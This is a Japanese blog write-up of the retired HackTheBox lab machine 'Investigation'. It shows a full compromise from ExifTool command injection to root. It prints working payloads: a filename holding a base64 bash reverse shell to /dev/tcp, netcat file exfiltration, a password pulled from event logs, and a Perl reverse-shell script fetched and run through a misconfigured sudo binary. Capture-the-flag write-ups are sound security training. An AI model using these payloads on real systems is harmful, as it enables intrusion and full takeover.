HackTheBox Investigation WriteUp

今回は先日リタイアしたHackTheBoxのMediumマシン「Investigation」のWriteUpです！
Investigationという名前なので、調査に本腰を入れるボックスになるのでしょうか。。。攻略目指して頑張りましょう！
![Investigation.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d69594ff-b5e3-4f51-2209-6762b35eedf2.png)
評価は4.4と安定しています。グラフは前回のEncodingに比べるとかなり優しいですね。

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう！

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476

## Investigation

### 侵入
それでは、攻略を開始しましょう。
恒例のポートスキャンから実行します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.197 -oN nmap.log

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 2f1e6306aa6ebbcc0d19d4152674c6d9 (RSA)
|   256 274520add2faa73a8373d97c79abf30b (ECDSA)
|_  256 4245eb916e21020617b2748bc5834fe0 (ED25519)
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://eforenzics.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
```
いつものように、22番と80番が確認できました。
とりあえずWebから進めていきましょう。
![Top.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2bf5ad46-f899-533c-bad3-9ac84564b922.png)
デジタルフォレンジックのサービスサイトが表示されました。Investigationという名前はこのサイトからきているかもしれません。
サイトを一通りみたところ、遷移があるのは「Go!」というボタンのみだったので、クリックしてみます。
![Service.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/0ef537bb-8fe6-a2f4-e234-eb042248f942.png)
画像をアップロードできる画面が表示されました。HackTheBoxにおいて画像アップロードは何かに繋がることが多いので期待できます。
試しに画像をアップロードしてみましょう。
![Upload.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/122db8da-0e1e-a4e9-a805-e14e7b3f4bc9.png)
画像をアップロードすると、ExifToolで分析された結果が返ってきました。フォレンジックサービスを無料で試してもらうためのお試し感覚のような感じでしょうか。

### CVE-2022-23935

出力を見てみると、一番上にバージョンが出ています。脆弱性があるかGoogleで検索してみましょう。

https://gist.github.com/ert-plus/1414276e4cb5d56dd431c2f0429e4429

上の記事では、ExifToolの12.38より前のバージョンがコマンドインジェクションに脆弱であることが記述されています。
どうやら、パイプ文字「|」で終わるファイルが存在すると、パイプの前のファイル名はOSコマンドとして実行されるようです。
CVEは2022-23935らしいので、番号でもう少し調べてみると、GitHubでPoCが公開されていました。

https://github.com/dpbe32/CVE-2022-23935-PoC-Exploit

見た感じ簡単に発火させることが出来そうです。参考にしつつ、コマンドインジェクションを発火させていきましょう！

実行したいコマンドをBase64 Encodeさせ、画像の名前として使用します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ mv coffee.jpg "echo $(echo 'ping -c 3 10.10.14.4' | base64) | base64 -d | sh |"
```
リバースシェルが取得できるかを確認するために、pingを実行するようにしています。
名前の変更が完了したらアップロードしていくのですが、その前にtcpdumpで待ち受けることを忘れないようにしましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ sudo tcpdump -i tun0 icmp
```
tcpdumpによる待ち受けが開始されたので、ファイルをアップロードします。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ sudo tcpdump -i tun0 icmp      
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:39:44.518483 IP eforenzics.htb > 10.10.14.4: ICMP echo request, id 2, seq 1, length 64
17:39:44.524092 IP 10.10.14.4 > eforenzics.htb: ICMP echo reply, id 2, seq 1, length 64
17:39:45.520176 IP eforenzics.htb > 10.10.14.4: ICMP echo request, id 2, seq 2, length 64
17:39:45.520253 IP 10.10.14.4 > eforenzics.htb: ICMP echo reply, id 2, seq 2, length 64
17:39:46.519098 IP eforenzics.htb > 10.10.14.4: ICMP echo request, id 2, seq 3, length 64
17:39:46.519164 IP 10.10.14.4 > eforenzics.htb: ICMP echo reply, id 2, seq 3, length 64
```
通信が確認できました！！
これで、リバースシェルを取得できそうです。

## www-dataとしてのシェル
では、先ほどと同様にファイルの名前を変更していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ mv coffee.jpg "echo $(echo 'bash -c '\''bash -i >& /dev/tcp/10.10.14.4/4321 0>&1'\''' | base64) | base64 -d | sh |"
```
何度かエスケープ処理を入れているので少し見にくいかもしれませんが、コマンド自体はいつも実行しているものと全く同じです。
名前が変更できたので、ncで待ち受けファイルをアップロードします。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ nc -lvnp 4321    
listening on [any] 4321 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.197] 46634
bash: cannot set terminal process group (957): Inappropriate ioctl for device
bash: no job control in this shell
www-data@investigation:~/uploads/1682412498$ whoami
www-data
```
シェルの取得に成功しました！
www-dataとしてのシェルなので、横移動する必要がありそうですね。

### 横移動
まずは、どのようなユーザが存在するのか見ていきましょう。
```bash
www-data@investigation:/home$ ls -l
total 4
drwxrwx--- 3 smorton smorton 4096 Jan  9 10:47 smorton
```
smortonというユーザが確認できました。
権限を見てみると、www-dataではアクセスできないことが分かります。フラグを取得するために、列挙を進めていきましょう。

とりあえず、sudoが実行できるか試してみます。
```bash
www-data@investigation:/home$ sudo -l
[sudo] password for www-data:
```
パスワードが求められました。現時点では使用することができません。

次に、www-dataのホームディレクトリを見てみましょう。
```bash
www-data@investigation:~$ ls -l
ls -l
total 16
dr-xr-x---  4 www-data www-data 4096 Jan  9 10:50 html
drwxrwx---  5 www-data www-data 4096 Apr 25 08:48 uploads
```
2つのディレクトリが存在していますが、どちらも有益な情報は得られませんでした。

では、smortonユーザが所持していてwww-dataに権限があるファイルがないか調べてみましょう。
```bash
www-data@investigation:~$ find / -user smorton -type f 2>/dev/null
find / -user smorton -type f 2>/dev/null
/usr/local/investigation/Windows Event Logs for Analysis.msg
```
お！なにやら怪しいmsgファイルを発見しました。
Kali側へ送信しましょう。ncで待ち受けます
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ nc -lnvp 5432 > 'Windows Event Logs for Analysis.msg'
```
待ち受けが開始したので、msgファイルを送信させましょう。
```
www-data@investigation:/usr/local/investigation$ cat 'Windows Event Logs for Analysis.msg' | nc 10.10.14.4 5432
```
送信が完了したので解凍していきましょう。
msgファイルとは、Outlookで作成されたメッセージファイルのことです。msgconvertとmuttを使用することで解凍できます。
インストール手順は以下の通りです。

・msgconvert
```bash
sudo apt-get -y install libemail-outlook-message-perl
```
・mutt
```bash
sudo apt -y install mutt
```

インストールが完了したら解凍していきましょう！
まずは、msgconvertを実行します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ msgconvert Windows\ Event\ Logs\ for\ Analysis.msg --mbox investigation.mbox
```
うまく実行できると、mboxファイルが出力されていると思います。そのmboxファイルに対して、muttを実行します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ mutt -f investigation.mbox 
```
実行すると下のような画面が出てくると思います。
![スクリーンショット 2023-04-25 185623.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/98dbdee8-fd71-1cee-48d7-e1cbf5ef94de.png)
このままEnterを押し、メールの内容を確認します。
```
Date: Tue, 16 Sept 2022 00:30:29 +0000^M
From: Thomas Jones <thomas.jones@eforenzics.htb>
To: Steve Morton <steve.morton@eforenzics.htb>
Subject: Windows Event Logs for Analysis^M

[-- Attachment #1 --]
[-- Type: multipart/alternative, Encoding: 7bit, Size: 1.2K --]

Hi Steve,

Can you look through these logs to see if our analysts have been logging on to the inspection terminal. I'm
+concerned that they are moving data on to production without following our data transfer procedures.

Regards.
Tom

[-- Attachment #2: evtx-logs.zip --]
[-- Type: application/octet-stream, Encoding: base64, Size: 1.7M --]

[-- application/octet-stream is unsupported (use 'v' to view this part) --]
```
TomがSteveへ送信したメールのようです。ZIPが添付されているらしいので、「v」を入力し確認します。
```
 I    1 <no description>                                                         [multipa/alternativ, 7bit, 1.2K]
 I    2 ├─><no description>                                                       [text/plain, 8bit, utf-8, 0.2K]
 I    3 └─><no description>                                                           [applica/rtf, base64, 0.7K]
 A    4 evtx-logs.zip                                                          [applica/octet-stre, base64, 1.7M]
```
矢印で4番のzipファイルまで移動し、Enterを押しましょう。
zipファイルのダウンロードができたら、unzipで解凍します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ unzip evtx-logs.zip 
Archive:  evtx-logs.zip
  inflating: security.evtx  
```
security.evtxというファイルが出力されました。
evtxファイルとは、Windows Vistaのイベントログファイルです。こちらもpython-evtxというツールを使用し、解析できます。

・python-evtx
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ pip install python-evtx
```

インストールが完了したら、実際に解析していきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ python3 /home/kali/.local/bin/evtx_dump.py security.evtx > security.dump 
```
少し時間はかかりますが、dumpファイルに解析結果が出力されています。
dumpファイルは膨大な量があるので、上手に検索をかけながら調べていきましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ cat security.dump | grep EventID | sort -nr | uniq -c           
     28 <EventID Qualifiers="">6416</EventID>
      8 <EventID Qualifiers="">5450</EventID>
    200 <EventID Qualifiers="">5447</EventID>
     32 <EventID Qualifiers="">5446</EventID>
     32 <EventID Qualifiers="">5382</EventID>
    303 <EventID Qualifiers="">5379</EventID>
    161 <EventID Qualifiers="">5158</EventID>
```
まずは、EventIDに目を付けます。主に5000番台と4000番台が存在しています。
このEventIDが何を示しているのか以下のサイトで調べてみます。

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/

色々なイベントがありますが、主に気になるのはログオンの成功/失敗（4624/4625）、特権サービスの呼び出し（4673）です。一つずつ検索していきましょう。

まずは、ログオンの成功からです。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ cat security.dump | grep ">4624</EventID>" -8
```
出力を一通り見てみましたが、有用な情報は得られません。
次に、ログオンの失敗で検索してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ cat security.dump | grep ">4625</EventID>" -8
...
<EventData><Data Name="PackageName">MICROSOFT_AUTHENTICATION_PACKAGE_V1_0</Data>
<Data Name="TargetUserName">Def@ultf0r3nz!csPa$$</Data>
<Data Name="Workstation">EFORENZICS-DI</Data>
<Data Name="Status">0xc0000064</Data>
</EventData>
</Event>

<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4625</EventID>
<Version>0</Version>
...
```
出力は省略しています。
ログオン失敗イベントは3つ確認できました。その中の3つ目のTargetUserNameを見てください。パスワードのような文字列が入っています。これは、ユーザが間違えてパスワードをユーザ名と設定してログインを試してしまった可能性があります。

## smortonとしてのシェル
パスワードをユーザ名として入力してしまったと想定し、SSH接続のパスワードとして使用できるかどうか試してみましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ ssh smorton@10.10.11.197
Warning: Permanently added '10.10.11.197' (ED25519) to the list of known hosts.
smorton@10.10.11.197s password:

smorton@investigation:~$ whoami
smorton
```
シェルを取得できました！横移動成功です！
```bash
smorton@investigation:~$ ls -l
total 4
-rw-r----- 1 root smorton 33 Apr 25 08:24 user.txt
```
ユーザフラグも確認できました！

### 権限昇格
では、最後の関門であるrootの取得を目指しましょう！
とりあえず最初はsudo -lの実行です。
```bash
smorton@investigation:~$ sudo -l
Matching Defaults entries for smorton on investigation:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User smorton may run the following commands on investigation:
    (root) NOPASSWD: /usr/bin/binary
```
binaryにおいてNOPASSWDが設定されています。
どのような動作をするか調べたいので、scpを実行しkali側へ送信します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ scp smorton@10.10.11.197:/usr/bin/binary ./binary 
smorton@10.10.11.197s password: 
binary                        100%   19KB  11.1KB/s   00:01
```
送信出来たら、逆コンパイルします。
色々な手法があると思いますが、私はdogboltを使用します。逆コンパイルできたらmain関数を上から確認していきましょう。
```bash
if (argc != 3)
{
    puts("Exiting... ");
    exit(0);
    /* no return */
}
if (getuid() != 0)
{
    puts("Exiting... ");
    exit(0);
    /* no return */
}
```
まず実行された際に引数が3つ指定してあるかを確認し、3つではない場合、処理を終了させるようになっています。また、rootで実行されていない場合も処理が終了します。
```bash
if (strcmp(argv[2], "lDnxUysaQn") != 0)
{
    puts("Exiting... ");
    exit(0);
    /* no return */
}
puts("Running... ");
```
さらに、3つ目の引数が「lDnxUysaQn」という文字列でなかった場合も処理が終了します。
ここまでの条件をすべて満たしていた場合のみ「Running...」を出力し処理が続くようです。

```bash
FILE* rax_8 = fopen(argv[2], &data_2027);
```
まず始めに3つ目の引数をファイルとして開きます。
次に、curlに対する設定処理が続きます。
```bash
int64_t rax_9 = curl_easy_init();
int32_t var_40 = 0x2712;
curl_easy_setopt(rax_9, 0x2712, argv[1], 0x2712);
```
2つ目の引数で指定した文字列をURLとして設定しています。
```bash
int32_t var_3c = 0x2711;
curl_easy_setopt(rax_9, 0x2711, rax_8, 0x2711);
```
そして、lDnxUysaQnファイルをWRITEDATAに設定します。
```bash
int32_t var_38 = 0x2d;
curl_easy_setopt(rax_9, 0x2d, 1, 0x2d);
```
最後の設定として、verbose（詳細情報）をtrueに設定します。
設定が完了すると、curlを実行します。
```bash
if (curl_easy_perform(rax_9) != 0)
{
    puts("Exiting... ");
    exit(0);
    /* no return */
}
```
実行が失敗した場合は、処理を終了させます。
curlの実行が成功した場合は、以下の処理が続きます。
```bash
int64_t rax_25 = snprintf(nullptr, 0, &data_202a, argv[2]);
char* rax_28 = malloc((rax_25 + 1));
snprintf(rax_28, (rax_25 + 1), &data_202a, argv[2]);
int64_t rax_37 = snprintf(nullptr, 0, "perl ./%s", rax_28);
char* rax_40 = malloc((rax_37 + 1));
snprintf(rax_40, (rax_37 + 1), "perl ./%s", rax_28);
fclose(rax_8);
curl_easy_cleanup(rax_9);
setuid(0);
system(rax_40);
system("rm -f ./lDnxUysaQn");
return 0;
```
snprintfによる配列への結果の格納とmallocによるメモリの確保処理が続いています。すべての処理が終わった後、lDnxUysaQnファイルを削除するようです。
このコード内で注目すべき点は「perl ./%s」の部分です。%sはlDnxUysaQnファイルの文字列を示しており、その文字列に対してperlが実行されています。
以上のことから、perlによるリバースシェルの取得を狙えるかもしれません。

## rootとしてのシェル

まずはスクリプトを用意しましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ cat root.pl                  
use Socket;
$i="10.10.14.5";
$p=6543;
socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
if(connect(S,sockaddr_in($p,inet_aton($i)))){
        open(STDIN,">&S");
        open(STDOUT,">&S");
        open(STDERR,">&S");
        exec("sh -i");
};
```
スクリプトの用意が出来たら、Kali側でサーバを立ち上げます。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ python3 -m http.server 8000                                                   
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```
同時に、ncも待ち受けを開始しておきましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ nc -lvnp 6543
listening on [any] 6543 ...
```
準備ができたので、シェルを取得しましょう。
binaryの条件をクリアするように引数を指定し実行します。
```bash
smorton@investigation:~$ sudo binary 10.10.14.5/root.pl lDnxUysaQn
Running...
```
実行したらシェルが返ってきているか確認します。
```bash
┌──(kali㉿kali)-[~/Desktop/Investigation]
└─$ nc -lvnp 6543
listening on [any] 6543 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.197] 39702 
root@investigation:/home/smorton# whoami
root
```
rootの取得に成功しました！攻略完了です！！
```bash
root@investigation:~# ls -l
total 4
-rw-r----- 1 root root 33 Apr 25 08:24 root.txt
```
ルートフラグも確認できました！

### 攻略を終えて

今回のボックスは、Mediumにしては比較的優しいマシンだったかなと思います。最近のマシンは初めの手がかりを見つけることが大変ですが、InvestigationはWebの遷移も少なくバージョンが露骨に見えていたので侵入まで良いテンポで進みました。
dumpファイルの調査には少し時間がかかってしまいました。もっといい方法で調査することができると思うので、いろいろな手法を試してみたいと思います。
総じてとても楽しいマシンでした！
今後もWriteUpを書いていくつもりなので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました！